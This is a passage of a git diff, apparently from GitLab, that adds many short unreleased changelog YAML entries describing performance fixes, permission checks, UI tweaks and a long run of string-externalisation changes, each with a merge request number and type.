index 00000000000..3f10c6a81f0
--- /dev/null
+++ b/changelogs/unreleased/326637-index-namespaces-id-and-parent_id.yml
@@ -0,0 +1,5 @@
+---
+title: Partial index optimization for namespaces id
+merge_request: 58220
+author:
+type: performance
diff --git a/changelogs/unreleased/326653-fix-package-finder-helpers.yml b/changelogs/unreleased/326653-fix-package-finder-helpers.yml
new file mode 100644
index 00000000000..0b4ac41b7f9
--- /dev/null
+++ b/changelogs/unreleased/326653-fix-package-finder-helpers.yml
@@ -0,0 +1,5 @@
+---
+title: Update the group permission check in packages finder helper
+merge_request: 58329
+author:
+type: fixed
diff --git a/changelogs/unreleased/326665_enable_projects_post_creation_worker.yml b/changelogs/unreleased/326665_enable_projects_post_creation_worker.yml
new file mode 100644
index 00000000000..4c1424fdf11
--- /dev/null
+++ b/changelogs/unreleased/326665_enable_projects_post_creation_worker.yml
@@ -0,0 +1,5 @@
+---
+title: Create prometheus service asynchronously by default when creating a project
+merge_request: 59273
+author:
+type: changed
diff --git a/changelogs/unreleased/326819-check-maven-path.yml b/changelogs/unreleased/326819-check-maven-path.yml
new file mode 100644
index 00000000000..7660b492e7f
--- /dev/null
+++ b/changelogs/unreleased/326819-check-maven-path.yml
@@ -0,0 +1,5 @@
+---
+title: Add index for the path column on the packages_maven_metadata table
+merge_request: 59241
+author:
+type: performance
diff --git a/changelogs/unreleased/326995-refer-to-expired-ssh-keys-in-the-past-tense.yml b/changelogs/unreleased/326995-refer-to-expired-ssh-keys-in-the-past-tense.yml
new file mode 100644
index 00000000000..59caecce8f3
--- /dev/null
+++ b/changelogs/unreleased/326995-refer-to-expired-ssh-keys-in-the-past-tense.yml
@@ -0,0 +1,5 @@
+---
+title: Update profile SSH key labels to refer to expired keys as "Expired"
+merge_request: 59381
+author:
+type: changed
diff --git a/changelogs/unreleased/327006-fix-search-commits-n-plus-1.yml b/changelogs/unreleased/327006-fix-search-commits-n-plus-1.yml
new file mode 100644
index 00000000000..b20f054370a
--- /dev/null
+++ b/changelogs/unreleased/327006-fix-search-commits-n-plus-1.yml
@@ -0,0 +1,5 @@
+---
+title: Fix N+1 for searching commits
+merge_request: 58867
+author:
+type: performance
diff --git a/changelogs/unreleased/327064-fix-revert-query.yml b/changelogs/unreleased/327064-fix-revert-query.yml
new file mode 100644
index 00000000000..0235c022a1c
--- /dev/null
+++ b/changelogs/unreleased/327064-fix-revert-query.yml
@@ -0,0 +1,5 @@
+---
+title: Fix revert commit query
+merge_request: 59356
+author:
+type: fixed
diff --git a/changelogs/unreleased/327106-reduce-timeout-on-search-count.yml b/changelogs/unreleased/327106-reduce-timeout-on-search-count.yml
new file mode 100644
index 00000000000..dd782105067
--- /dev/null
+++ b/changelogs/unreleased/327106-reduce-timeout-on-search-count.yml
@@ -0,0 +1,5 @@
+---
+title: Reduce timeouts on tab counts for searches to 5s
+merge_request: 59435
+author:
+type: performance
diff --git a/changelogs/unreleased/327197-deprecate-redis-4-on-rake-gitlab-check.yml b/changelogs/unreleased/327197-deprecate-redis-4-on-rake-gitlab-check.yml
new file mode 100644
index 00000000000..b91d2d5fb2f
--- /dev/null
+++ b/changelogs/unreleased/327197-deprecate-redis-4-on-rake-gitlab-check.yml
@@ -0,0 +1,5 @@
+---
+title: Bump recommended Redis version from 4.0 to 5.0
+merge_request: 59072
+author: Takuya Noguchi
+type: deprecated
diff --git a/changelogs/unreleased/327199-consistently-indicate-runner-type-using-the-alert-component.yml b/changelogs/unreleased/327199-consistently-indicate-runner-type-using-the-alert-component.yml
new file mode 100644
index 00000000000..12e6cb9fed9
--- /dev/null
+++ b/changelogs/unreleased/327199-consistently-indicate-runner-type-using-the-alert-component.yml
@@ -0,0 +1,5 @@
+---
+title: Update runner type indicators in view/edit pages
+merge_request: 59005
+author:
+type: changed
diff --git a/changelogs/unreleased/327593-optimize-user-current-highest-access-level.yml b/changelogs/unreleased/327593-optimize-user-current-highest-access-level.yml
new file mode 100644
index 00000000000..25c0620becd
--- /dev/null
+++ b/changelogs/unreleased/327593-optimize-user-current-highest-access-level.yml
@@ -0,0 +1,5 @@
+---
+title: Add partial index on members to optimize highest access level query
+merge_request: 59455
+author:
+type: performance
diff --git a/changelogs/unreleased/327692-package-sort-showing-project-in-the-project-page.yml b/changelogs/unreleased/327692-package-sort-showing-project-in-the-project-page.yml
new file mode 100644
index 00000000000..7edbc94f81a
--- /dev/null
+++ b/changelogs/unreleased/327692-package-sort-showing-project-in-the-project-page.yml
@@ -0,0 +1,5 @@
+---
+title: Do not show sort by project in Package project page
+merge_request: 59367
+author:
+type: fixed
diff --git a/changelogs/unreleased/328050-honor-haml-tooltips-delay.yml b/changelogs/unreleased/328050-honor-haml-tooltips-delay.yml
new file mode 100644
index 00000000000..3da1529c1d7
--- /dev/null
+++ b/changelogs/unreleased/328050-honor-haml-tooltips-delay.yml
@@ -0,0 +1,5 @@
+---
+title: Ensure all tooltips appear with a 500ms delay
+merge_request: 59561
+author:
+type: fixed
diff --git a/changelogs/unreleased/33741-further-optimise-api-v3-github-endpoints.yml b/changelogs/unreleased/33741-further-optimise-api-v3-github-endpoints.yml
new file mode 100644
index 00000000000..62b7e30680f
--- /dev/null
+++ b/changelogs/unreleased/33741-further-optimise-api-v3-github-endpoints.yml
@@ -0,0 +1,5 @@
+---
+title: Resolve more N+1 issues in Jira pulls API
+merge_request: 57658
+author:
+type: performance
diff --git a/changelogs/unreleased/36783-add-kotlin-support.yml b/changelogs/unreleased/36783-add-kotlin-support.yml
new file mode 100644
index 00000000000..c97ca3e1661
--- /dev/null
+++ b/changelogs/unreleased/36783-add-kotlin-support.yml
@@ -0,0 +1,5 @@
+---
+title: Add kotlin support to spotbugs-sast job
+merge_request: 59431
+author:
+type: added
diff --git a/changelogs/unreleased/56716-remove-commit-message-package-ui.yml b/changelogs/unreleased/56716-remove-commit-message-package-ui.yml
new file mode 100644
index 00000000000..af7380c1726
--- /dev/null
+++ b/changelogs/unreleased/56716-remove-commit-message-package-ui.yml
@@ -0,0 +1,5 @@
+---
+title: Remove the commit message from the package details UI
+merge_request: 56716
+author:
+type: changed
diff --git a/changelogs/unreleased/57073-remove-ff-optimize_issue_filter_assigned_to_self.yml b/changelogs/unreleased/57073-remove-ff-optimize_issue_filter_assigned_to_self.yml
new file mode 100644
index 00000000000..ff851cb86c8
--- /dev/null
+++ b/changelogs/unreleased/57073-remove-ff-optimize_issue_filter_assigned_to_self.yml
@@ -0,0 +1,5 @@
+---
+title: Remove feature flag optimize_issue_filter_assigned_to_self
+merge_request: 57775
+author:
+type: performance
diff --git a/changelogs/unreleased/57952-Update GIicon in geo_node_header.vue.yml b/changelogs/unreleased/57952-Update GIicon in geo_node_header.vue.yml
new file mode 100644
index 00000000000..c2c8b30d981
--- /dev/null
+++ b/changelogs/unreleased/57952-Update GIicon in geo_node_header.vue.yml
@@ -0,0 +1,5 @@
+---
+title: Update GIicon size in geo_node_header.vue
+merge_request: 57952
+author: singhanshuman
+type: changed
diff --git a/changelogs/unreleased/58270-fj-fix-graphql-query-and-profile-status.yml b/changelogs/unreleased/58270-fj-fix-graphql-query-and-profile-status.yml
new file mode 100644
index 00000000000..df90bcbdd61
--- /dev/null
+++ b/changelogs/unreleased/58270-fj-fix-graphql-query-and-profile-status.yml
@@ -0,0 +1,5 @@
+---
+title: Avoid listing snippets through GraphQL when user profile is private
+merge_request: 58739
+author:
+type: fixed
diff --git a/changelogs/unreleased/59202-add-missing-tooltip-to-apply-suggestion-button.yml b/changelogs/unreleased/59202-add-missing-tooltip-to-apply-suggestion-button.yml
new file mode 100644
index 00000000000..90310df116b
--- /dev/null
+++ b/changelogs/unreleased/59202-add-missing-tooltip-to-apply-suggestion-button.yml
@@ -0,0 +1,5 @@
+---
+title: Fix tooltip not rendering
+merge_request: 59202
+author:
+type: fixed
diff --git a/changelogs/unreleased/8225-allow-add-discussion-to-review.yml b/changelogs/unreleased/8225-allow-add-discussion-to-review.yml
new file mode 100644
index 00000000000..b9806cf693f
--- /dev/null
+++ b/changelogs/unreleased/8225-allow-add-discussion-to-review.yml
@@ -0,0 +1,5 @@
+---
+title: Allow Add Comment To Review
+merge_request: 51718
+author: Lee Tickett @leetickett
+type: added
diff --git a/changelogs/unreleased/9152-check-sso-status-on-git-activity-and-direct-user-to-sso.yml b/changelogs/unreleased/9152-check-sso-status-on-git-activity-and-direct-user-to-sso.yml
new file mode 100644
index 00000000000..2b681363bfe
--- /dev/null
+++ b/changelogs/unreleased/9152-check-sso-status-on-git-activity-and-direct-user-to-sso.yml
@@ -0,0 +1,5 @@
+---
+title: Group SAML - Check SSO status on Git activity
+merge_request: 56867
+author:
+type: added
diff --git a/changelogs/unreleased/92508-enable-not-filters-for-mr-labels-graphql.yml b/changelogs/unreleased/92508-enable-not-filters-for-mr-labels-graphql.yml
new file mode 100644
index 00000000000..fdd67f370c4
--- /dev/null
+++ b/changelogs/unreleased/92508-enable-not-filters-for-mr-labels-graphql.yml
@@ -0,0 +1,5 @@
+---
+title: Add negative filters for merge requests API
+merge_request: 58021
+author:
+type: added
diff --git a/changelogs/unreleased/Externalise-strings-in-_ip_limits-haml-html.yml b/changelogs/unreleased/Externalise-strings-in-_ip_limits-haml-html.yml
new file mode 100644
index 00000000000..bd0c85d1959
--- /dev/null
+++ b/changelogs/unreleased/Externalise-strings-in-_ip_limits-haml-html.yml
@@ -0,0 +1,5 @@
+---
+title: Externalise-strings in _ip_limits.html.haml
+merge_request: 58003
+author: nuwe1
+type: other
diff --git a/changelogs/unreleased/Externalise-strings-in-_performance-html-haml.yml b/changelogs/unreleased/Externalise-strings-in-_performance-html-haml.yml
new file mode 100644
index 00000000000..f34e55ffce9
--- /dev/null
+++ b/changelogs/unreleased/Externalise-strings-in-_performance-html-haml.yml
@@ -0,0 +1,5 @@
+---
+title: Externalize strings in _performance.html.haml
+merge_request: 58016
+author: nuwe1
+type: other
diff --git a/changelogs/unreleased/Externalise-strings-in-_performance_bar-html-haml.yml b/changelogs/unreleased/Externalise-strings-in-_performance_bar-html-haml.yml
new file mode 100644
index 00000000000..3239942acea
--- /dev/null
+++ b/changelogs/unreleased/Externalise-strings-in-_performance_bar-html-haml.yml
@@ -0,0 +1,5 @@
+---
+title: Externalise strings in application_settings/_performance_bar.html.haml
+merge_request: 58018
+author: nuwe1
+type: other
diff --git a/changelogs/unreleased/Externalise-strings-in-_realtime-html-haml.yml b/changelogs/unreleased/Externalise-strings-in-_realtime-html-haml.yml
new file mode 100644
index 00000000000..9cf3ee7d762
--- /dev/null
+++ b/changelogs/unreleased/Externalise-strings-in-_realtime-html-haml.yml
@@ -0,0 +1,5 @@
+---
+title: Externalise strings in /application_settings/_realtime.html.haml
+merge_request: 58039
+author: nuwe1
+type: other
diff --git a/changelogs/unreleased/Externalise-strings-in-_registry-html-haml.yml b/changelogs/unreleased/Externalise-strings-in-_registry-html-haml.yml
new file mode 100644
index 00000000000..eff8004de31
--- /dev/null
+++ b/changelogs/unreleased/Externalise-strings-in-_registry-html-haml.yml
@@ -0,0 +1,5 @@
+---
+title: Externalise strings in _registry.html.haml
+merge_request: 58051
+author: nuwe1
+type: other
diff --git a/changelogs/unreleased/Externalise-strings-in-_repository_check-html-haml.yml b/changelogs/unreleased/Externalise-strings-in-_repository_check-html-haml.yml
new file mode 100644
index 00000000000..9d481093680
--- /dev/null
+++ b/changelogs/unreleased/Externalise-strings-in-_repository_check-html-haml.yml
@@ -0,0 +1,5 @@
+---
+title: Externalise strings in /application_settings/_repository_check.html.haml
+merge_request: 58058
+author: nuwe1
+type: other
diff --git a/changelogs/unreleased/Externalise-strings-in-abuse_reports-index-html-haml.yml b/changelogs/unreleased/Externalise-strings-in-abuse_reports-index-html-haml.yml
new file mode 100644
index 00000000000..3701c313c90
--- /dev/null
+++ b/changelogs/unreleased/Externalise-strings-in-abuse_reports-index-html-haml.yml
@@ -0,0 +1,5 @@
+---
+title: Externalize strings in /abuse_reports/index.html.haml
+merge_request: 58132
+author: nuwe1
+type: other
diff --git a/changelogs/unreleased/Externalise-strings-in-broadcast_messages-index-html-haml.yml b/changelogs/unreleased/Externalise-strings-in-broadcast_messages-index-html-haml.yml
new file mode 100644
index 00000000000..0ce42710333
--- /dev/null
+++ b/changelogs/unreleased/Externalise-strings-in-broadcast_messages-index-html-haml.yml
@@ -0,0 +1,5 @@
+---
+title: Externalize strings in broadcast_messages/index.html.haml
+merge_request: 58146
+author: nuwe1
+type: other
diff --git a/changelogs/unreleased/Externalise-strings-in-chat_names-_chat_name-html-haml.yml b/changelogs/unreleased/Externalise-strings-in-chat_names-_chat_name-html-haml.yml
new file mode 100644
index 00000000000..6c75f17563d
--- /dev/null
+++ b/changelogs/unreleased/Externalise-strings-in-chat_names-_chat_name-html-haml.yml
@@ -0,0 +1,5 @@
+---
+title: Externalize strings in chat_names/_chat_name.html.haml
+merge_request: 58444
+author: nuwe1
+type: other
diff --git a/changelogs/unreleased/Externalise-strings-in-groups-_group_admin_settings-html-haml.yml b/changelogs/unreleased/Externalise-strings-in-groups-_group_admin_settings-html-haml.yml
new file mode 100644
index 00000000000..caa30b38195
--- /dev/null
+++ b/changelogs/unreleased/Externalise-strings-in-groups-_group_admin_settings-html-haml.yml
@@ -0,0 +1,5 @@
+---
+title: Externalise strings in groups/_group_admin_settings.html.haml
+merge_request: 58331
+author: nuwe1
+type: other
diff --git a/changelogs/unreleased/Externalise-strings-in-help-index-html-haml.yml b/changelogs/unreleased/Externalise-strings-in-help-index-html-haml.yml
new file mode 100644
index 00000000000..ee27af86507
--- /dev/null
+++ b/changelogs/unreleased/Externalise-strings-in-help-index-html-haml.yml
@@ -0,0 +1,5 @@
+---
+title: Externalize strings in help/index.html.haml
+merge_request: 58441
+author: nuwe1
+type: other
diff --git a/changelogs/unreleased/Externalise-strings-in-instance_configuration-html-haml.yml b/changelogs/unreleased/Externalise-strings-in-instance_configuration-html-haml.yml
new file mode 100644
index 00000000000..7f42f45a6d6
--- /dev/null
+++ b/changelogs/unreleased/Externalise-strings-in-instance_configuration-html-haml.yml
@@ -0,0 +1,5 @@
+---
+title: Externalize strings in instance_configuration.html.haml
+merge_request: 58443
+author: nuwe1
+type: other
diff --git a/changelogs/unreleased/Externalise-strings-in-labels-edit-html-haml.yml b/changelogs/unreleased/Externalise-strings-in-labels-edit-html-haml.yml
new file mode 100644
index 00000000000..e36b0caf0c7
--- /dev/null
+++ b/changelogs/unreleased/Externalise-strings-in-labels-edit-html-haml.yml
@@ -0,0 +1,5 @@
+---
+title: Externalise strings in labels/edit.html.haml
+merge_request: 58294
+author: nuwe1
+type: other
diff --git a/changelogs/unreleased/Externalise-strings-in-runners-edit-html-haml.yml b/changelogs/unreleased/Externalise-strings-in-runners-edit-html-haml.yml
new file mode 100644
index 00000000000..f068b2354ee
--- /dev/null
+++ b/changelogs/unreleased/Externalise-strings-in-runners-edit-html-haml.yml
@@ -0,0 +1,5 @@
+---
+title: Externalise strings in runners/edit.html.haml
+merge_request: 58315
+author: nuwe1
+type: other
diff --git a/changelogs/unreleased/Externalise-strings-in-services-index-html-haml.yml b/changelogs/unreleased/Externalise-strings-in-services-index-html-haml.yml
new file mode 100644
index 00000000000..93e8b53f903
--- /dev/null
+++ b/changelogs/unreleased/Externalise-strings-in-services-index-html-haml.yml
@@ -0,0 +1,5 @@
+---
+title: Externalize strings in services/index.html.haml
+merge_request: 58167
+author: nuwe1
+type: other
diff --git a/changelogs/unreleased/Externalise-strings-in-shared-_sign_in_link-html-haml.yml b/changelogs/unreleased/Externalise-strings-in-shared-_sign_in_link-html-haml.yml
new file mode 100644
index 00000000000..0b84279fe8a
--- /dev/null
+++ b/changelogs/unreleased/Externalise-strings-in-shared-_sign_in_link-html-haml.yml
@@ -0,0 +1,5 @@
+---
+title: Externalize strings in shared/_sign_in_link.html.haml
+merge_request: 58283
+author: nuwe1
+type: other
diff --git a/changelogs/unreleased/Externalise-strings-in-unlocks-new-html-haml.yml b/changelogs/unreleased/Externalise-strings-in-unlocks-new-html-haml.yml
new file mode 100644
index 00000000000..d1de0b08aff
--- /dev/null
+++ b/changelogs/unreleased/Externalise-strings-in-unlocks-new-html-haml.yml
@@ -0,0 +1,5 @@
+---
+title: Externalize strings in unlocks/new.html.haml
+merge_request: 58289
+author: nuwe1
+type: other
diff --git a/changelogs/unreleased/Externalise-strings-in-viewers-_loading_auxiliary-html-haml.yml b/changelogs/unreleased/Externalise-strings-in-viewers-_loading_auxiliary-html-haml.yml
new file mode 100644
index 00000000000..ef881d5a749
--- /dev/null
+++ b/changelogs/unreleased/Externalise-strings-in-viewers-_loading_auxiliary-html-haml.yml
@@ -0,0 +1,5 @@
+---
+title: Externalize strings in viewers/_loading_auxiliary.html.haml
+merge_request: 58454
+author: nuwe1
+type: other
diff --git a/changelogs/unreleased/Externalise-strings-in_-pages-html-haml.yml b/changelogs/unreleased/Externalise-strings-in_-pages-html-haml.yml
new file mode 100644
index 00000000000..5c3654c1cda
--- /dev/null
+++ b/changelogs/unreleased/Externalise-strings-in_-pages-html-haml.yml
@@ -0,0 +1,5 @@
+---
+title: Externalise strings in application_settings/_pages.html.haml
+merge_request: 58011
+author: nuwe1
+type: other
diff --git a/changelogs/unreleased/Externalise-strings-in_confirmation_instructions_account-html-haml.yml b/changelogs/unreleased/Externalise-strings-in_confirmation_instructions_account-html-haml.yml
new file mode 100644
index 00000000000..a0db84bcfe8
--- /dev/null
+++ b/changelogs/unreleased/Externalise-strings-in_confirmation_instructions_account-html-haml.yml
@@ -0,0 +1,5 @@
+---
+title: Externalize strings in _confirmation_instructions_account.html.haml
+merge_request: 58214
+author: nuwe1
+type: other
diff --git a/changelogs/unreleased/Externalize-stings-in-password_change-html-haml.yml b/changelogs/unreleased/Externalize-stings-in-password_change-html-haml.yml
new file mode 100644
index 00000000000..59e2604266c
--- /dev/null
+++ b/changelogs/unreleased/Externalize-stings-in-password_change-html-haml.yml
@@ -0,0 +1,5 @@
+---
+title: Externalise strings in password_change files
+merge_request: 58219
+author: nuwe1
+type: other
diff --git a/changelogs/unreleased/Externalize-strings-in-_confirmation_instructions_account-text-erb.yml b/changelogs/unreleased/Externalize-strings-in-_confirmation_instructions_account-text-erb.yml
new file mode 100644
index 00000000000..b0ba6c9a257
--- /dev/null
+++ b/changelogs/unreleased/Externalize-strings-in-_confirmation_instructions_account-text-erb.yml
@@ -0,0 +1,5 @@
+---
+title: Externalize strings in _confirmation_instructions_account.text.erb
+merge_request: 58215
+author: nuwe1
+type: other
diff --git a/changelogs/unreleased/Externalize-strings-in-_confirmation_instructions_secondary-text-erb.yml b/changelogs/unreleased/Externalize-strings-in-_confirmation_instructions_secondary-text-erb.yml
new file mode 100644
index 00000000000..bdf208d432e
--- /dev/null
+++ b/changelogs/unreleased/Externalize-strings-in-_confirmation_instructions_secondary-text-erb.yml
@@ -0,0 +1,5 @@
+---
+title: Externalize strings in _confirmation_instructions_secondary.text.erb
+merge_request: 58218
+author: nuwe1
+type: other
diff --git a/changelogs/unreleased/Externalize-strings-in-deploy_keys-new-html-haml.yml b/changelogs/unreleased/Externalize-strings-in-deploy_keys-new-html-haml.yml
new file mode 100644
index 00000000000..7c25d35e5fb
--- /dev/null
+++ b/changelogs/unreleased/Externalize-strings-in-deploy_keys-new-html-haml.yml
@@ -0,0 +1,5 @@
+---
+title: Externalize strings in deploy_keys/new.html.haml
+merge_request: 58148
+author: nuwe1
+type: other
diff --git a/changelogs/unreleased/Externalize-strings-in-groups-_activities-html-haml.yml b/changelogs/unreleased/Externalize-strings-in-groups-_activities-html-haml.yml
new file mode 100644
index 00000000000..53604db6738
--- /dev/null
+++ b/changelogs/unreleased/Externalize-strings-in-groups-_activities-html-haml.yml
@@ -0,0 +1,5 @@
+---
+title: Externalise strings in groups/_activities.html.haml
+merge_request: 58324
+author: nuwe1
+type: other
diff --git a/changelogs/unreleased/Externalize-strings-in-groups-_create_chat_team-html-haml.yml b/changelogs/unreleased/Externalize-strings-in-groups-_create_chat_team-html-haml.yml
new file mode 100644
index 00000000000..a04833072af
--- /dev/null
+++ b/changelogs/unreleased/Externalize-strings-in-groups-_create_chat_team-html-haml.yml
@@ -0,0 +1,5 @@
+---
+title: Externalize strings in groups/_create_chat_team.html.haml
+merge_request: 58328
+author: nuwe1
+type: other
diff --git a/changelogs/unreleased/Externalize-strings-in-groups-activity-html-haml.yml b/changelogs/unreleased/Externalize-strings-in-groups-activity-html-haml.yml
new file mode 100644
index 00000000000..f3ea68dea19
--- /dev/null
+++ b/changelogs/unreleased/Externalize-strings-in-groups-activity-html-haml.yml
@@ -0,0 +1,5 @@
+---
+title: Externalises strings in groups/activity.html.haml
+merge_request: 58332
+author: nuwe1
+type: other
diff --git a/changelogs/unreleased/Externalize-strings-in-hook_logs-_index-html-haml.yml b/changelogs/unreleased/Externalize-strings-in-hook_logs-_index-html-haml.yml
new file mode 100644
index 00000000000..a0765255593
--- /dev/null
+++ b/changelogs/unreleased/Externalize-strings-in-hook_logs-_index-html-haml.yml
@@ -0,0 +1,5 @@
+---
+title: Externalize strings in hook_logs/_index.html.haml
+merge_request: 58155
+author: nuwe1
+type: other
diff --git a/changelogs/unreleased/Externalize-strings-in-instance_configuration-_gitlab_ci-html-haml.yml b/changelogs/unreleased/Externalize-strings-in-instance_configuration-_gitlab_ci-html-haml.yml
new file mode 100644
index 00000000000..f11db4e4f95
--- /dev/null
+++ b/changelogs/unreleased/Externalize-strings-in-instance_configuration-_gitlab_ci-html-haml.yml
@@ -0,0 +1,5 @@
+---
+title: Externalize strings in instance_configuration/_gitlab_ci.html.haml
+merge_request: 58435
+author: nuwe1
+type: other
diff --git a/changelogs/unreleased/Externalize-strings-in-instance_configuration-_gitlab_pages-html-haml.yml b/changelogs/unreleased/Externalize-strings-in-instance_configuration-_gitlab_pages-html-haml.yml
new file mode 100644
index 00000000000..9c22f609fa8
--- /dev/null
+++ b/changelogs/unreleased/Externalize-strings-in-instance_configuration-_gitlab_pages-html-haml.yml
@@ -0,0 +1,5 @@
+---
+title: Externalize strings in instance_configuration/_gitlab_pages.html.haml
+merge_request: 58437
+author: nuwe1
+type: other
diff --git a/changelogs/unreleased/Externalize-strings-in-labels-new-html-haml.yml b/changelogs/unreleased/Externalize-strings-in-labels-new-html-haml.yml
new file mode 100644
index 00000000000..c68934e8ee9
--- /dev/null
+++ b/changelogs/unreleased/Externalize-strings-in-labels-new-html-haml.yml
@@ -0,0 +1,5 @@
+---
+title: Externalize strings in labels/new.html.haml
+merge_request:
+author: nuwe1
+type: other
diff --git a/changelogs/unreleased/Externalize-strings-in-milestones-_form-html-haml.yml b/changelogs/unreleased/Externalize-strings-in-milestones-_form-html-haml.yml
new file mode 100644
index 00000000000..b856877de5a
--- /dev/null
+++ b/changelogs/unreleased/Externalize-strings-in-milestones-_form-html-haml.yml
@@ -0,0 +1,5 @@
+---
+title: Externalize strings in milestones/_form.html.haml
+merge_request: 58298
+author: nuwe1
+type: other
diff --git a/changelogs/unreleased/Externalize-strings-in-milestones-edit-html-haml.yml b/changelogs/unreleased/Externalize-strings-in-milestones-edit-html-haml.yml
new file mode 100644
index 00000000000..27e935115af
--- /dev/null
+++ b/changelogs/unreleased/Externalize-strings-in-milestones-edit-html-haml.yml
@@ -0,0 +1,5 @@
+---
+title: Externalize strings in milestones/edit.html.haml
+merge_request: 58306
+author: nuwe1
+type: other
diff --git a/changelogs/unreleased/Externalize-strings-in-passwords-edit-html-haml.yml b/changelogs/unreleased/Externalize-strings-in-passwords-edit-html-haml.yml
new file mode 100644
index 00000000000..aa83ac87631
--- /dev/null
+++ b/changelogs/unreleased/Externalize-strings-in-passwords-edit-html-haml.yml
@@ -0,0 +1,5 @@
+---
+title: Externalize strings in passwords/edit.html.haml
+merge_request: 58233
+author: nuwe1
+type: other
diff --git a/changelogs/unreleased/Externalize-strings-in-passwords-new-html-haml.yml b/changelogs/unreleased/Externalize-strings-in-passwords-new-html-haml.yml
new file mode 100644
index 00000000000..34ff21e55c8
--- /dev/null
+++ b/changelogs/unreleased/Externalize-strings-in-passwords-new-html-haml.yml
@@ -0,0 +1,5 @@
+---
+title: Externalize strings in passwords/new.html.haml
+merge_request: 58236
+author: nuwe1
+type: other
diff --git a/changelogs/unreleased/Externalize-strings-in-projects-_projects-html-haml.yml b/changelogs/unreleased/Externalize-strings-in-projects-_projects-html-haml.yml
new file mode 100644
index 00000000000..d35d04923a3
--- /dev/null
+++ b/changelogs/unreleased/Externalize-strings-in-projects-_projects-html-haml.yml
@@ -0,0 +1,5 @@
+---
+title: Externalize strings in projects/_projects.html.haml
+merge_request: 58158
+author: nuwe1
+type: other
diff --git a/changelogs/unreleased/Externalize-strings-in-projects-index-html-haml.yml b/changelogs/unreleased/Externalize-strings-in-projects-index-html-haml.yml
new file mode 100644
index 00000000000..5ed6e7fb88e
--- /dev/null
+++ b/changelogs/unreleased/Externalize-strings-in-projects-index-html-haml.yml
@@ -0,0 +1,5 @@
+---
+title: Externalize strings in projects/index.html.haml
+merge_request: 58160
+author: nuwe1
+type: other
diff --git a/changelogs/unreleased/Externalize-strings-in-registrations-edit-html-erb.yml b/changelogs/unreleased/Externalize-strings-in-registrations-edit-html-erb.yml
new file mode 100644
index 00000000000..bccc494b23e
--- /dev/null
+++ b/changelogs/unreleased/Externalize-strings-in-registrations-edit-html-erb.yml
@@ -0,0 +1,5 @@
+---
+title: Externalize strings in registrations/edit.html.erb
+merge_request: 58268
+author: nuwe1
+type: other
diff --git a/changelogs/unreleased/Externalize-strings-in-runners-_runner-html-haml.yml b/changelogs/unreleased/Externalize-strings-in-runners-_runner-html-haml.yml
new file mode 100644
index 00000000000..db1282ff8b6
--- /dev/null
+++ b/changelogs/unreleased/Externalize-strings-in-runners-_runner-html-haml.yml
@@ -0,0 +1,5 @@
+---
+title: Externalise strings in runners/_runner.html.haml
+merge_request: 58168
+author: nuwe1
+type: other
diff --git a/changelogs/unreleased/Externalize-strings-in-sessions-_new_crowd-html-haml.yml b/changelogs/unreleased/Externalize-strings-in-sessions-_new_crowd-html-haml.yml
new file mode 100644
index 00000000000..c5df912a8a7
--- /dev/null
+++ b/changelogs/unreleased/Externalize-strings-in-sessions-_new_crowd-html-haml.yml
@@ -0,0 +1,5 @@
+---
+title: Externalize strings in sessions/_new_crowd.html.haml
+merge_request: 58269
+author: nuwe1
+type: other
diff --git a/changelogs/unreleased/Externalize-strings-in-sessions-new-html-haml.yml b/changelogs/unreleased/Externalize-strings-in-sessions-new-html-haml.yml
new file mode 100644
index 00000000000..dafa53996c2
--- /dev/null
+++ b/changelogs/unreleased/Externalize-strings-in-sessions-new-html-haml.yml
@@ -0,0 +1,5 @@
+---
+title: Externalise strings in sessions/new.html.haml
+merge_request: 58274
+author: nuwe1
+type: other
diff --git a/changelogs/unreleased/Externalize-strings-in-sessions-two_factor-html-haml.yml b/changelogs/unreleased/Externalize-strings-in-sessions-two_factor-html-haml.yml
new file mode 100644
index 00000000000..6bad42d3dc9
--- /dev/null
+++ b/changelogs/unreleased/Externalize-strings-in-sessions-two_factor-html-haml.yml
@@ -0,0 +1,5 @@
+---
+title: Externalize strings in sessions/two_factor.html.haml
+merge_request: 58275
+author: nuwe1
+type: other
diff --git a/changelogs/unreleased/Externalize-strings-in-shared-_tabs_ldap-html-haml.yml b/changelogs/unreleased/Externalize-strings-in-shared-_tabs_ldap-html-haml.yml
new file mode 100644
index 00000000000..81650f80344
--- /dev/null
+++ b/changelogs/unreleased/Externalize-strings-in-shared-_tabs_ldap-html-haml.yml
@@ -0,0 +1,5 @@
+---
+title: Externalise strings in shared/_tabs_ldap.html.haml
+merge_request: 58285
+author: nuwe1
+type: other
diff --git a/changelogs/unreleased/Externalize-strings-in-shared_omniauth_box-html-haml.yml b/changelogs/unreleased/Externalize-strings-in-shared_omniauth_box-html-haml.yml
new file mode 100644
index 00000000000..4315f6fecba
--- /dev/null
+++ b/changelogs/unreleased/Externalize-strings-in-shared_omniauth_box-html-haml.yml
@@ -0,0 +1,5 @@
+---
+title: Externalize strings in shared/_omniauth_box.html.haml
+merge_request: 58281
+author: nuwe1
+type: other
diff --git a/changelogs/unreleased/Externalize-strings-in-spam_logs-_spam_log-html-haml.yml b/changelogs/unreleased/Externalize-strings-in-spam_logs-_spam_log-html-haml.yml
new file mode 100644
index 00000000000..ca436388310
--- /dev/null
+++ b/changelogs/unreleased/Externalize-strings-in-spam_logs-_spam_log-html-haml.yml
@@ -0,0 +1,5 @@
+---
+title: Externalise strings in spam_logs/_spam_log.html.haml
+merge_request: 58169
+author: nuwe1
+type: other
diff --git a/changelogs/unreleased/Externalize-strings-in-ssessions_new_ldap-html-haml.yml b/changelogs/unreleased/Externalize-strings-in-ssessions_new_ldap-html-haml.yml
new file mode 100644
index 00000000000..89bd340d9f1
--- /dev/null
+++ b/changelogs/unreleased/Externalize-strings-in-ssessions_new_ldap-html-haml.yml
@@ -0,0 +1,5 @@
+---
+title: Externalize strings in sessions/_new_ldap.html.haml
+merge_request: 58267
+author: nuwe1
+type: other
diff --git a/changelogs/unreleased/Externalize-strings-in-unlock_instructions-html-haml.yml b/changelogs/unreleased/Externalize-strings-in-unlock_instructions-html-haml.yml
new file mode 100644
index 00000000000..2582b116eae
--- /dev/null
+++ b/changelogs/unreleased/Externalize-strings-in-unlock_instructions-html-haml.yml
@@ -0,0 +1,5 @@
+---
+title: Externalize strings in unlock_instructions.html.haml
+merge_request: 58227
+author: nuwe1
+type: other
diff --git a/changelogs/unreleased/Externalize-strings-in-users-_head-html-haml.yml b/changelogs/unreleased/Externalize-strings-in-users-_head-html-haml.yml
new file mode 100644
index 00000000000..9fd8b743d94
--- /dev/null
+++ b/changelogs/unreleased/Externalize-strings-in-users-_head-html-haml.yml
